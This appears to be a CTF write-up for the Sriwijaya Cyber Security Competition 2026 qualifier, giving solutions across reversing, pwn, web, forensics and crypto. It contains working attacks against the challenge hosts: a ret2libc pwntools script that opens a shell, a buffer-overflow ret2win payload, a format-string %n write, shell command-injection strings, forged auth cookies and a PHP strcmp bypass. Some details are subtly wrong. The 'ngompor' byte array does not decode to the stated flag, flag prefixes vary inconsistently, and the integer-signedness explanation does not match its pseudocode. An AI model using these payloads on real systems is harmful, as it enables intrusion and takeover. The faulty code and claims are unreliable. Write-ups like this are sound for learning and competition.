hi everyone! It’s been a while since my last CTF writeup, but I’m back with a full rundown of the Sriwijaya Cyber Security Competition 2026 qualification stage. The team and I worked through a solid set of challenges—some were quick wins, others required serious debugging. I’m sharing all the solutions here, exactly as we solved them. Let’s dive in.
Reverse Engineering
ngestring
Category: Reverse Engineering
Flag: SCS26{b4s1c_st4t1c_4n4lys1s_w1th_str1ngs}
Challenge Description
Given a 64-bit ELF executable named ngestring.
Analysis
The challenge name “ngestring” is a hint - it’s Indonesian slang suggesting we should use the strings command.
$ file ngestring
ngestring: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=..., for GNU/Linux 3.2.0, not strippedSolution
Simply run the strings command to extract printable strings from the binary:
$ strings ngestring
SCS26{b4s1c_st4t1c_4n4lys1s_w1th_str1ngs}ngompor
Category: Reverse Engineering
Flag: SCS26{m4nu4l_h3x_c0mp4r3_is_sneaky}
Challenge Description
Given a 64-bit ELF executable named ngompor.
Analysis
After disassembling the binary, we found that the flag data is stored in memory but encoded using a bitwise NOT operation.
$ objdump -d ngompor -M intel | grep -A 50 "flag_data"The binary stores encoded bytes that need to be decoded by applying ~byte & 0xFF (bitwise NOT).
Solution
#!/usr/bin/env python3
# Encoded flag data extracted from binary
encoded_data = [
0xac, 0xbc, 0xac, 0xcd, 0xcf, 0x9a, 0xb4, 0xcd,
0x91, 0xb7, 0xcd, 0x93, 0x9c, 0x97, 0xb0, 0xb4,
0x9c, 0x91, 0x8c, 0xb4, 0xb6, 0x90, 0xb4, 0xb6,
0xb0, 0x8c, 0x91, 0x9c, 0x9c, 0x92, 0xb2, 0x86
]
# Apply bitwise NOT to decode
flag = ''.join(chr(~b & 0xFF) for b in encoded_data)
print(flag)Output: SCS26{m4nu4l_h3x_c0mp4r3_is_sneaky}
ngemal
Category: Reverse Engineering
File: flag.txt.wowok
Flag: SCSC26{sesudah_kesulitan_itu_kemudahan}
Challenge Description
A file named flag.txt.wowok was provided. Its contents looked random/garbled.
Analysis
Since the flag format is known (SCSC26{...}), the simplest approach is brute-forcing a 1-byte XOR key (0–255) and checking for the substring SCSC26{ in the decoded output.
Exploitation
Bruteforce found the key 0x32 (50). XOR-ing the file with that key reveals the plaintext flag.
Example 1-liner (Python):
d=open("flag.txt.wowok","rb").read()
print(bytes(b^0x32 for b in d).decode())ngecUaPeX
Category: Reverse Engineering
Flag: SCSC26{y4re_Y@R3}
Challenge Description
A Caesar Cipher (ROT) brute force challenge with the string:
lelahletihlunglaiAnalysis
Try ROT 1–25 and look for an output that becomes readable.
Solution
After brute forcing the rotations, the readable result is:
y4re_Y@R3Put it into the given flag format:
SCSC26{y4re_Y@R3}
General Skills
Hitungan MTK
Category: General Skills
Server: nc 43.128.69.211 10001
Flag: scsc26{p1nt3r_mtk_g4j4min_j4g0_scr1pt1ng_n_s0ck3t_pr0gr4mm1n6}
Challenge Description
Connect to the server and solve 30 math problems within 1 second each.
Analysis
Upon connecting, the server presents arithmetic problems that must be solved quickly. Manual solving is impossible due to the strict 1-second time limit per question.
$ nc 43.128.69.211 10001
Rockwell ada challenge berhitung UwU
Ada 30 soal hitungan, cuma boleh jawab 1x dalam waktu 1 detik!
====Rockwell====
52+55 = Key observations:
- Multiplication uses
xinstead of* - Division uses
:instead of/ - Format is simple:
<expr> =(no question mark, no problem number) - Must respond within 1 second or the question is skipped
Solution
#!/usr/bin/env python3
from pwn import *
import re
def main():
p = remote('43.128.69.211', 10001)
# Wait for banner (ends with "====Rockwell====")
p.recvuntil(b'====Rockwell====', timeout=5)
for i in range(30):
# Receive until " = " which marks end of expression
line = p.recvuntil(b' = ', timeout=1).decode()
# Parse expression: replace x->*, :->/, strip " = "
expr = line.replace('x', '*').replace(':', '/').replace(' = ', '').strip()
# Solve
result = eval(expr)
# Key insight: division needs 3 decimal places
if '/' in expr:
result = round(result, 3)
else:
result = int(result)
print(f"[{i+1}] {expr} = {result}")
p.sendline(str(result).encode())
# Receive flag
print(p.recvall(timeout=3).decode())
if __name__ == '__main__':
main()Key Insight
Two critical discoveries:
- Operators are different:
xfor multiplication,:for division (Indonesian convention) - Division results must be rounded to 3 decimal places using
round(result, 3)
unsolpable solpable
Category: General Skills
Server: nc 43.128.69.211 10002
Flag: scsc26{bin4ry_s34rch_like_an_OctoPath_Traveler}
Challenge Description
Guess 30 secret numbers (range 1-1000) with only 10 attempts each.
Analysis
With 10 attempts to find a number in range 1-1000, we need binary search. Since 2^10 = 1024 > 1000, binary search guarantees finding any number within 10 guesses.
$ nc 43.128.69.211 10002
Rockwell ada angka 1 - 1000, ayo tebak angka yang rockwell pikirkan ya!
Kamu punya 10 kali kesempatan untuk menebak angka rockwell
Tebakanmu: 500
tebakanmu kekecilan!
Sisa tebakan: 9
Tebakanmu:Server responses (Indonesian):
"tebakanmu kekecilan!"= your guess is too small"tebakanmu kegedean!"= your guess is too big"tebakanmu bener!"= your guess is correct
Solution
#!/usr/bin/env python3
from pwn import *
import time
def main():
p = remote('43.128.69.211', 10002)
# Get banner
time.sleep(0.5)
p.recv(timeout=2)
print("[+] Connected!")
for round_num in range(30):
low, high = 1, 1000
for attempt in range(10):
mid = (low + high) // 2
p.sendline(str(mid).encode())
time.sleep(0.05)
response = p.recv(512, timeout=2).decode().lower()
if 'kekecilan' in response: # too small
low = mid + 1
elif 'kegedean' in response: # too big
high = mid - 1
elif 'bener' in response: # correct!
print(f"[{round_num+1}/30] Found: {mid}")
break
# Get flag
print(p.recvall(timeout=3).decode())
if __name__ == '__main__':
main()Algorithm Complexity
- Binary search: O(log n) = O(log 1000) ≈ 10 guesses maximum
- Total: 30 rounds × ~10 guesses = ~300 operations
ASM 101
Category: General Skills
File: source.nasm
Flag: scsc26{02_02_1c00_001c}
Challenge Description
Given a 16-bit DOS assembly program. Inputs are:
- input1 =
20 - input2 =
200
Flag format:
scsc26{mem[001E]_mem[001F]_DX_BX}
Analysis
At a high level, the program:
- Reads 2 inputs using DOS
int 21hfunctionAH=0Ah(buffered input). - Copies input into
number3andnumber4from the back (usesSTD+LODSB/STOSB) to right-align digits (4-digit style). - Treats filler bytes as empty, effectively as
0. - Takes 4 digits from each number, converts ASCII
'0'..'9'to numeric0..9. - Adds digit-by-digit with carry and stores a 5-digit result into memory
0x001C..0x0020.
With right-alignment:
20becomes0020200becomes0200- Sum =
00220
Solution
Because the result is stored as digits:
mem[001E](hundreds digit) =02mem[001F](tens digit) =02
At the end of the loop:
DX = 1c00(DH=1C, DL=00)BX = 001c
So the flag is:
scsc26{02_02_1c00_001c}
Binary Exploitation
MultiParam32
Category: Binary Exploitation
Server: nc 43.128.69.211 13003
Flag: scsc26{uN3Xp3ctEd_mUlT1_p4r4m}
Challenge Description
32-bit binary exploitation challenge requiring return-to-libc attack.
Binary Analysis
$ file multiparam
multiparam: ELF 32-bit LSB executable, Intel 80386, dynamically linked
$ checksec --file=multiparam
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIEDisassembly Analysis (main function)
; Stack layout:
; ebp-0x14: buffer (20 bytes from ebp)
; ebp-0x8: var2 (loaded into eax if check passes)
; ebp-0x4: var1 (must equal 0xd34dc4fe)
; ebp: saved ebp
; ebp+0x4: return address
mov DWORD PTR [ebp-0x4], 0x0 ; var1 = 0
lea eax, [ebp-0x14] ; buffer address
push eax
call gets ; VULNERABLE: gets(buffer)
mov eax, DWORD PTR [ebp-0x4]
cmp eax, 0xd34dc4fe ; check if var1 == magic
jne skip
mov eax, DWORD PTR [ebp-0x8] ; load var2 into eax
skip:
push 0x804a008 ; "Try again?"
call puts
leave
retVulnerability
gets()has no bounds checking - classic buffer overflow- No win function exists - need ret2libc
- NX enabled - can’t execute shellcode on stack
Exploitation Strategy
Stage 1: Leak libc address
- Overflow buffer to control return address
- Return to
puts@pltwithputs@GOTas argument - This prints the runtime address of
putsin libc - Return to
mainto continue exploitation
Stage 2: Calculate libc addresses
- Use leaked
putsaddress to identify libc version - Calculate
system()and/bin/shaddresses
Stage 3: Get shell
- Overflow again with
system("/bin/sh")ROP chain
Identifying Libc Version
Leaked addresses:
puts@libcending in0x140gets@libcending in0x660
Using libc.rip database:
libc6_2.39-0ubuntu8.4_i386:
puts: 0x78140
gets: 0x77660
system: 0x50430
str_bin_sh: 0x1c4de8Final Exploit
#!/usr/bin/env python3
from pwn import *
context.arch = 'i386'
HOST = '43.128.69.211'
PORT = 13003
# Binary addresses (no PIE)
PUTS_PLT = 0x8049040
PUTS_GOT = 0x804c010
MAIN_ADDR = 0x8049182
MAGIC = 0xd34dc4fe
# libc6_2.39 i386 offsets
PUTS_OFF = 0x78140
SYSTEM_OFF = 0x50430
BINSH_OFF = 0x1c4de8
p = remote(HOST, PORT)
# ============ STAGE 1: Leak libc ============
# Stack: [12 bytes padding][var2][var1=MAGIC][saved_ebp][ret_addr][ret_after][arg]
padding = b'A' * 12
payload1 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)
payload1 += p32(PUTS_PLT) # ret to puts@plt
payload1 += p32(MAIN_ADDR) # return to main after puts
payload1 += p32(PUTS_GOT) # argument: puts@GOT
p.sendline(payload1)
p.recvuntil(b'Try again?\n')
# Read leaked address
puts_libc = u32(p.recv(4))
log.success(f"Leaked puts@libc: {hex(puts_libc)}")
# ============ STAGE 2: Calculate addresses ============
libc_base = puts_libc - PUTS_OFF
system_addr = libc_base + SYSTEM_OFF
binsh_addr = libc_base + BINSH_OFF
log.info(f"libc base: {hex(libc_base)}")
log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")
# Clean buffer
sleep(0.2)
try: p.recv(timeout=0.3)
except: pass
# ============ STAGE 3: system("/bin/sh") ============
payload2 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)
payload2 += p32(system_addr) # ret to system
payload2 += p32(MAIN_ADDR) # return after system
payload2 += p32(binsh_addr) # argument: "/bin/sh"
p.sendline(payload2)
p.interactive()quiz
Category: Binary Exploitation
Server: nc 43.128.69.211 13004
Flag: scsc26{Integer_Und3R_fl0W_0v3rFl0W}
Challenge Description
A “secure” vault that checks your money amount to grant access to the flag.
Binary Analysis
$ file quiz
quiz: ELF 64-bit LSB pie executable, x86-64, dynamically linkedDecompiled Logic (pseudocode)
long money; // signed 64-bit integer
printf("How much is your money?\n");
scanf("%lld", &money); // reads SIGNED long long
// Check 1: Signed comparison
if (money > 100) {
printf("You cannot have more than 100 Rupiaz as a student!\n");
exit(1);
}
// Check 2: This comparison treats value as UNSIGNED
if (money <= 1000000) {
printf("Your money is not enough for a flag :(\n");
printf("You need 1 million rupiaz for a flag!\n");
exit(1);
}
// WIN: Print flag
printf("It... Can't be!!!\n");
// ... opens and prints flag.txtVulnerability: Integer Signedness Bug
The two checks have conflicting requirements:
money > 100uses signed comparison (must be ≤ 100)money <= 1000000uses comparison that can be bypassed with negative numbers
Key Insight: A negative number like -1:
- Signed interpretation:
-1 ≤ 100✓ (passes check 1) - When compared as unsigned:
-1=0xFFFFFFFFFFFFFFFF= 18,446,744,073,709,551,615 - This is definitely > 1,000,000 ✓ (passes check 2)
Exploit
$ echo "-1" | nc 43.128.69.211 13004
How much is your money?
It... Can't be!!!
scsc26{Integer_Und3R_fl0W_0v3rFl0W}dzawin
Category: Binary Exploitation
Server: nc 43.128.69.211 13005
Flag: scsc26{r3t2wIn_f0r_fUn_4nD_pr0ViT}
Challenge Description
Classic buffer overflow with a win function.
Binary Analysis
$ file stack
stack: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped
$ checksec --file=stack
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)Key Functions
win() @ 0x080491c2
void win() {
FILE *fp = fopen("flag.txt", "r");
if (!fp) {
perror("Error while opening the file.");
exit(1);
}
int c;
while ((c = fgetc(fp)) != EOF) {
putchar(c);
}
}vuln() @ 0x0804921f
vuln:
push ebp
mov ebp, esp
sub esp, 0x80 ; 128-byte buffer
lea eax, [ebp-0x80] ; buffer address
push eax
call gets ; VULNERABLE!
leave
retStack Layout
[ 128 bytes buffer ] <- ebp-0x80 (gets writes here)
[ 4 bytes saved EBP ] <- ebp
[ 4 bytes return addr ] <- ebp+4 (overwrite target)Exploitation Strategy
- Fill 128-byte buffer with padding
- Overwrite 4-byte saved EBP with junk
- Overwrite return address with
win()address (0x080491c2)
Total padding needed: 128 + 4 = 132 bytes
Exploit
#!/usr/bin/env python3
import struct
padding = b'A' * 132 # 128 buffer + 4 saved ebp
win_addr = struct.pack('<I', 0x080491c2) # little-endian
payload = padding + win_addr
print(payload)One-liner:
python3 -c "import struct; print(b'A'*132 + struct.pack('<I', 0x080491c2))" | nc 43.128.69.211 13005Output
scsc26{r3t2wIn_f0r_fUn_4nD_pr0ViT}For What
Category: Binary Exploitation
Server: nc 43.128.69.211 13001
Flag: scsc26{f0rmat_0uTpUT_15_vULn3R4Bl3}
Challenge Description
A 32-bit binary with a format string vulnerability. Exploit it to read the flag.
Binary Analysis
$ file format
format: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped
$ checksec --file=format
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)Disassembly Analysis (vuln function)
vuln:
push ebp
mov ebp, esp
sub esp, 0x208 ; allocate buffer space
; fgets(buffer, 0x200, stdin)
lea eax, [ebp-0x205] ; buffer address
push stdin
push 0x200
push eax
call fgets
; printf(buffer) - VULNERABLE! No format string
lea eax, [ebp-0x205]
push eax
call printf ; Format string vulnerability here
; Check if target == 0x60 (96)
mov eax, [0x804c06c] ; target variable
cmp eax, 0x60
jne fail
; WIN: Open and print flag.txt
push "r"
push "flag.txt"
call fopen
; ... reads and prints flag
fail:
; Print "target is %d :("
push eax
push "target is %d :("
call printfKey Addresses
targetvariable:0x804c06c(in .bss section)- Target value needed:
0x60(96 decimal)
Vulnerability
The vuln() function passes user input directly to printf() without a format string:
printf(buffer); // Should be: printf("%s", buffer);This allows an attacker to:
- Read from the stack using
%xor%p - Write to arbitrary memory using
%n
Exploitation Strategy
Goal: Write 0x60 (96) to the target variable at 0x804c06c
The %n format specifier writes the count of characters printed so far to an address on the stack.
Step 1: Find stack offset
$ echo 'AAAA%1$x' | ./format
AAAA200
$ echo 'AAAA%2$x' | ./format
AAAA25414141 # 0x25414141 = "%AAA" - our input (misaligned by 1 byte)The input buffer starts at offset 2, but is misaligned by 1 byte.
Step 2: Fix alignment
$ echo 'XAAAA%2$x' | ./format
XAAAA41414141 # 0x41414141 = "AAAA" - perfectly aligned!Adding a 1-byte prefix (X) aligns our address at offset 2.
Step 3: Craft payload
Payload structure:
X - 1 byte alignment padding
\x6c\xc0\x04\x08 - target address (little endian)
%91x - print 91 more chars (1+4+91 = 96 = 0x60)
%2$n - write char count to address at stack offset 2Exploit
#!/usr/bin/env python3
from pwn import *
# Target address (little endian)
target_addr = p32(0x804c06c)
# Payload:
# X (1 byte) + addr (4 bytes) = 5 chars
# Need 96 total, so pad with 91 more: %91x
# Write to offset 2: %2$n
payload = b"X" + target_addr + b"%91x%2$n"
# Local test
# p = process("./format")
# Remote
p = remote("43.128.69.211", 13001)
p.sendline(payload)
print(p.recvall().decode())One-liner:
python3 -c 'import sys; sys.stdout.buffer.write(b"X\x6c\xc0\x04\x08%91x%2\x24n\n")' | nc 43.128.69.211 13001Output
Xl� 58000000
scsc26{f0rmat_0uTpUT_15_vULn3R4Bl3}Format String Attack Summary
| Specifier | Purpose |
|---|---|
%x | Leak stack values (hex) |
%s | Read string at address on stack |
%n | Write number of printed chars to address |
%N$x | Access Nth argument directly |
%Nc | Print N characters (for padding) |
Web Exploitation
Internal Access
Category: Web Exploitation
Flag: SCSC26{v4l1d4s1_kL13n_cUm4_H14s4n_d04ng}
Challenge Description
A web challenge where the flag is hidden in the page source.
Analysis
Viewing the page source (Ctrl+U) reveals an HTML comment containing developer notes and the flag.
Exploitation
Open the page source and locate the comment that includes the flag.
SCSC Secure Vault
Category: Web Exploitation
URL: http://sriwijayasecuritysociety.com:8003/
Flag: SCSC26{kUE_r4h4s14_bU4t_4ks3s_L3v3L_d3w4}
Challenge Description
A document storage system using hash-based authentication. Users are given a scsc_auth cookie that determines their access level. Default access is “level_1”, but the secret document requires “level_99”.
Initial Reconnaissance
$ curl -v http://sriwijayasecuritysociety.com:8003/ 2>&1 | grep -i cookie
< Set-Cookie: scsc_auth=c98a679441798bdb9c194f9ca471e6cdThe cookie looks like an MD5 hash (32 hex characters).
Analysis
Let’s verify if it’s MD5 of the access level:
$ echo -n "level_1" | md5sum
c98a679441798bdb9c194f9ca471e6cd -Confirmed! The cookie is simply MD5("level_1").
Vulnerability
The authentication mechanism has critical flaws:
- No server-side session management
- No secret key or salt in the hash
- No signature verification (HMAC)
- The “secret” is just an unsalted MD5 hash that anyone can compute
Exploitation
Generate the MD5 hash for level_99:
$ echo -n "level_99" | md5sum
9a22a3d174f06065a7dc2769f16fc738 -Access the vault with forged token:
$ curl -s -b "scsc_auth=9a22a3d174f06065a7dc2769f16fc738" \
http://sriwijayasecuritysociety.com:8003/index.phpResponse
<div class="file-item">
<span>Top_Secret_Flag.txt</span>
<span class="unlocked">SCSC26{kUE_r4h4s14_bU4t_4ks3s_L3v3L_d3w4}</span>
</div>Legacy HR Payroll
Category: Web Exploitation
URL: http://sriwijayasecuritysociety.com:8002/
Flag: SCSC26{pHp_j4dUt_b1k1n_pUs1nG_k3p4L4}
Challenge Description
A legacy payroll system login page requiring Employee ID (format: HR-XXXX-Y) and PIN Code authentication.
Initial Reconnaissance
The login page features:
- A form with “Employee ID” and “PIN Code” fields
- Placeholder hint showing format: “HR-XXXX-Y”
- POST method submitting to
empidandpinparameters
$ curl -X POST -d "empid=HR-0001-1&pin=1234" http://sriwijayasecuritysociety.com:8002/
# Returns: Invalid credentialsVulnerability Discovery
Step 1: Testing SQL Injection
# Basic SQL injection attempts
$ curl -X POST -d "empid=' OR '1'='1&pin=1234" http://sriwijayasecuritysociety.com:8002/
$ curl -X POST -d "empid=' OR 1=1#&pin=anything" http://sriwijayasecuritysociety.com:8002/Result: All SQL injection attempts failed.
Step 2: Testing PHP Type Juggling
PHP is notorious for its loose type comparison. Testing array parameters:
$ curl -X POST -d "empid[]=HR-0001-1&pin=1234" http://sriwijayasecuritysociety.com:8002/Result: PHP error revealed!
Warning: strcmp() expects parameter 2 to be string, array given in /var/www/html/index.php on line 15Vulnerability Analysis: strcmp() Type Juggling
The error reveals the application uses strcmp() for credential comparison.
How strcmp() Works
int strcmp ( string $str1 , string $str2 )
// Returns 0 if equal, <0 if str1 < str2, >0 if str1 > str2The Vulnerability
When strcmp() receives an array instead of a string:
- It returns
NULL(and emits a warning) - In PHP’s loose comparison:
NULL == 0evaluates totrue - Since
strcmp()returns0for equal strings, this bypasses authentication!
Vulnerable Code Pattern
<?php
$empid = $_POST['empid'];
$pin = $_POST['pin'];
$user = $db->query("SELECT * FROM employees WHERE empid = '$empid'");
// VULNERABLE: loose comparison with strcmp
if (strcmp($user['pin'], $pin) == 0) {
// Authentication successful - but strcmp returns NULL for array input!
// NULL == 0 is TRUE in PHP!
}
?>Exploitation
Send both parameters as arrays to trigger the vulnerability:
$ curl -X POST \
-d "empid[]=HR-0001-1&pin[]=1234" \
http://sriwijayasecuritysociety.com:8002/Result: Authentication bypassed! Flag revealed:
SCSC26{pHp_j4dUt_b1k1n_pUs1nG_k3p4L4}Alternative Exploitation Methods
Using Python Requests
import requests
url = "http://sriwijayasecuritysociety.com:8002/"
payload = {
"empid[]": "HR-0001-1",
"pin[]": "1234"
}
response = requests.post(url, data=payload)
print(response.text)Using Browser DevTools
- Open login page in browser
- Open Developer Tools (F12)
- Modify form HTML:
- Change
name="empid"toname="empid[]" - Change
name="pin"toname="pin[]"
- Change
- Submit the form
Secure Code Fix
<?php
// 1. Validate input types
if (!is_string($_POST['empid']) || !is_string($_POST['pin'])) {
die("Invalid input");
}
// 2. Use strict comparison (===) or hash_equals()
if (hash_equals($user['pin'], $pin)) {
// Secure comparison - timing-safe and type-strict
}
// 3. For passwords, use password_verify() with hashed passwords
if (password_verify($pin, $user['hashed_pin'])) {
// Proper password handling
}
?>File Backup
Category: Web
URL: https://ctf.sriwijayasecuritysociety.com/
Flag: SCSC26{4h_1_f0rg3t_to_d3letE}
Challenge Description
backup my index pls
Analysis
Because there was no URL given for the challenge instance, I initially thought the target was the CTFd site itself. The hint “backup my index” strongly suggests a leftover backup file such as .bak, .old, or .swp.
Exploitation
Access the backup file directly:
curl https://ctf.sriwijayasecuritysociety.com/index.php.bakThe response contained the flag directly inside the HTML:
<main role="main">
<div class="container">
<p>SCSC26{4h_1_f0rg3t_to_d3letE}</p>
</div>
</main>Network Looking Glass
Category: Web
URL: https://ctf.sriwijayasecuritysociety.com/
Flag: SCSC26{p1nG_p1nG_bU4t_NyUsUp_m4sUk}
Challenge Description
The challenge provided a web-based “Network Looking Glass” interface that lets users ping hosts. This kind of feature often becomes dangerous if user input is concatenated directly into a shell command.
Analysis
The page accepted a hostname/IP and returned the output of ping. That strongly indicates something like:
system("ping -c 1 " . $_GET["host"]);If the input is not sanitized, we can try classic command injection separators such as ;, &&, ||, |, $(), and backticks.
Payloads I tested:
127.0.0.1; ls
127.0.0.1 && ls
127.0.0.1 | ls
127.0.0.1; `ls`The semicolon (;) worked, confirming command injection.
Exploitation
After confirming injection, I enumerated for flag files and then read it:
127.0.0.1; ls -la
127.0.0.1; find / -name "flag*" 2>/dev/null
127.0.0.1; cat flag.txtThe output included the flag:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.012 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.012/0.012/0.012/0.000 ms
SCSC26{p1nG_p1nG_bU4t_NyUsUp_m4sUk}Digger
Category: Web
URL: https://ctf.sriwijayasecuritysociety.com/
Flag: SCSC26{d4g_d1g_dug_d4n9du7}
Challenge Description
The challenge name “Digger” is a hint to use DNS digging tools like dig to enumerate records.
Analysis
DNS-based CTF challenges commonly hide flags in:
- TXT records
- MX records
- subdomains
- zone transfer misconfigurations (AXFR)
Exploitation
Query TXT records for the domain:
dig TXT sriwijayasecuritysociety.comThe TXT record response contained the flag:
;; ANSWER SECTION:
sriwijayasecuritysociety.com. 300 IN TXT "SCSC26{d4g_d1g_dug_d4n9du7}"Forensics
Pedeef
Category: Forensics
Flag: scsc26{l0ck3d_d0cum3nt_pDf}
Challenge Description
A password-protected PDF where the contents are not accessible normally.
Analysis
A password prompt / locked content indicates the PDF has password protection.
Solution
Use an online PDF unlocker to bypass the password (e.g., ilovepdf unlock). After unlocking, open the PDF and select all—some text is hidden by matching the white background.
Flag:
scsc26{l0ck3d_d0cum3nt_pDf}
Sejarah
Category: Forensics
File: es-es-es.zip
Flag: scsc26{r4j4_S4w33d_l0H-yH44}
Challenge Description
A ZIP file containing static web assets.
Analysis
After extracting, the content includes HTML and JavaScript. The flag is stored directly in the JavaScript code.
Solution
Extract and inspect the JavaScript:
unzip es-es-es.zipOpen:
assets/app.jsThe flag is inside an alert().
Flag:
scsc26{r4j4_S4w33d_l0H-yH44}
Meta
Category: Forensics
File: meta_logo.png
Flag: scsc26{m3t4_d4t4_d1_im4gE}
Challenge Description
A PNG image file that contains hidden information.
Analysis
The challenge name “Meta” hints at metadata. Image files often contain EXIF metadata that can store various information including hidden data.
Solution
Simply use exiftool to examine the image metadata:
$ exiftool meta_logo.png
ExifTool Version Number : 13.10
File Name : meta_logo.png
Directory : .
File Size : 4.3 kB
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 300
Image Height : 168
Bit Depth : 8
Color Type : Palette
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Artist : scsc26{m3t4_d4t4_d1_im4gE}
Image Size : 300x168
Megapixels : 0.050The flag is hidden in the Artist EXIF field.
Alternative Methods
# Using strings
$ strings meta_logo.png | grep scsc
# Using grep directly on binary
$ grep -a "scsc" meta_logo.pngSigmatour
Category: Forensics
File: sigmatour-image.jpg
Flag: scsc26{r3c0v3r_f!l3_s19n4tur3s}
Description
A JPEG image file that appears to be corrupted and cannot be opened.
Analysis
Examining the file header reveals the corruption:
$ xxd sigmatour-image.jpg | head -3
00000000: ff00 0000 0000 0000 4946 0001 0100 0001 ........IF......
00000010: 0001 0000 ffdb 0043 0002 0101 0101 0102 .......C........
00000020: 0101 0102 0202 0202 0403 0101 0102 0504 ................The file starts with FF 00 00 00 00 00 00 00 but a valid JPEG/JFIF file should start with:
FF D8- JPEG SOI (Start of Image) markerFF E0- APP0 marker (JFIF)00 10- Length of APP0 segment (16 bytes)4A 46 49 46- “JFIF” identifier
Notice that 49 46 (“IF” from “JFIF”) is still present at offset 8, confirming this is a corrupted JFIF header.
Solution
Restore the correct JPEG/JFIF file signature:
# Method 1: Using printf and dd
$ cp sigmatour-image.jpg fixed.jpg
$ printf '\xff\xd8\xff\xe0\x00\x10\x4a\x46' | dd of=fixed.jpg bs=1 count=8 conv=notrunc
# Method 2: Using Python
$ python3 -c "
with open('sigmatour-image.jpg', 'rb') as f:
data = bytearray(f.read())
# Fix JFIF header (bytes 0-7)
data[0:8] = b'\xff\xd8\xff\xe0\x00\x10\x4a\x46'
with open('fixed.jpg', 'wb') as f:
f.write(data)
"
# Verify the fix
$ file fixed.jpg
fixed.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2848x1600, components 3After fixing the header, open the image - the flag is displayed visually within the image itself.
File Signature Reference
| Format | Magic Bytes (Hex) | ASCII |
|---|---|---|
| JPEG/JFIF | FF D8 FF E0 xx xx 4A 46 49 46 | ÿØÿà..JFIF |
| JPEG/EXIF | FF D8 FF E1 xx xx 45 78 69 66 | ÿØÿá..Exif |
| PNG | 89 50 4E 47 0D 0A 1A 0A | .PNG… |
| GIF | 47 49 46 38 | GIF8 |
Dongker
Category: Forensics
File: dongker_container.tar
Flag: scsc26{l3arn_3z_f0r3ns1c_d0n9k3r}
Description
We are given a Docker/OCI container export (.tar). The goal is to recover the flag from the container filesystem.
Analysis
A container export is basically a tar archive containing the root filesystem (rootfs) plus some metadata. The quickest approach is to extract it and look for anything suspicious in common places such as:
/root/.ash_history//root/.bash_history(command history)/tmp,/var/tmp(temporary files)/home/*(user files)/etc(sometimes flags are hidden in configs)
Solution
Extract the archive:
mkdir -p dongker_rootfs
tar -xf dongker_container.tar -C dongker_rootfsCheck root’s shell history. This container uses ash (common on Alpine), so the history file is:
cat dongker_rootfs/root/.ash_historyInside the history we can see the author literally built the flag by appending characters into a temp file:
echo "s" > /tmp/rahasia.txt
echo "c" >> /tmp/rahasia.txt
echo "s" >> /tmp/rahasia.txt
echo "c" >> /tmp/rahasia.txt
echo "2" >> /tmp/rahasia.txt
echo "6" >> /tmp/rahasia.txt
echo "{" >> /tmp/rahasia.txt
echo "l3arn_3z_f0r3ns1c_d0n9k3r" >> /tmp/rahasia.txt
echo "}" >> /tmp/rahasia.txtSo we can just read the file directly from the extracted filesystem:
cat dongker_rootfs/tmp/rahasia.txtOutput:
scsc26{l3arn_3z_f0r3ns1c_d0n9k3r}Sharkk
Category: Forensics
File: sharkk.pcapng
Flag: scsc26{t4p1_b0on9}
Description
We are given a packet capture (.pcapng). The flag is hidden somewhere inside the captured network traffic.
Analysis
A common first step in forensics PCAP challenges is to extract printable strings and look for familiar flag patterns.
Even without Wireshark/tshark, we can still carve out the contents using strings and grep.
Solution
Extract strings and search for the flag format:
strings sharkk.pcapng | grep -oE 'scsc26\{[^}]+\}'Output:
scsc26{t4p1_b0on9}If you want a bit more context, you can print nearby lines:
strings -n 6 sharkk.pcapng | grep -n "flag.txt" -n
strings -n 6 sharkk.pcapng | grep -n "scsc26" -nFrom the surrounding control-channel text, the capture includes an FTP transfer for flag.txt, and the flag appears directly in the payload.
Cryptography
65536
Category: Cryptography
Flag: SCSCC26{54y4_t4u_ny4_b4s3_64}
Description
Given an encrypted string that appears to use unusual Unicode characters.
Analysis
The challenge name “65536” is a strong hint pointing to Base65536 encoding - a binary encoding scheme that uses Unicode characters from the Basic Multilingual Plane (BMP). Unlike traditional base64 which uses 64 ASCII characters, base65536 uses 65,536 different Unicode characters, making it highly compact but visually unusual.
The encrypted string:
硓硓欲橻𖤴鐴楴鑵𖥮鐴楢桳歟𠌴Solution
Install the base65536 library and decode:
pip install base65536Python solution:
import base65536
crypto = "硓硓欲橻𖤴鐴楴鑵𖥮鐴楢桳歟𠌴"
flag = base65536.decode(crypto).decode()
print(flag)Output:
SCSCC26{54y4_t4u_ny4_b4s3_64}basis64
Category: Cryptography
Flag: SCSC26{g1t4r_kup3t1k_b4ss_kub3t0t}
Challenge Description
I learn base64 for fun, can you decode it?
Solution
Decode the Base64 string:
U0NTQzI2e2cxdDRyX2t1cDN0MWtfYjRzc19rdWIzdDB0fQ==Result:
SCSC26{g1t4r_kup3t1k_b4ss_kub3t0t}
Matrix Shuffle Encryption
Category: Cryptography
Flag: SCSC26{4hh_fL4Gg_nY4_k0ok_K3t4hu4N!}
Solution
Decrypt result.enc using pub.key, then extract the contents of the resulting PDF. The flag is inside the PDF text.
Flag:
SCSC26{4hh_fL4Gg_nY4_k0ok_K3t4hu4N!}
One Step Ahead
Category: Cryptography
Flag: SCSC26{pr1m3_con_fu_si_00n}
Analysis
The phrase “One Step Ahead” and “yang datang setelahnya” points to the idea of the next number—one step forward, not the current value.
Starting from 86, one step ahead gives 87.
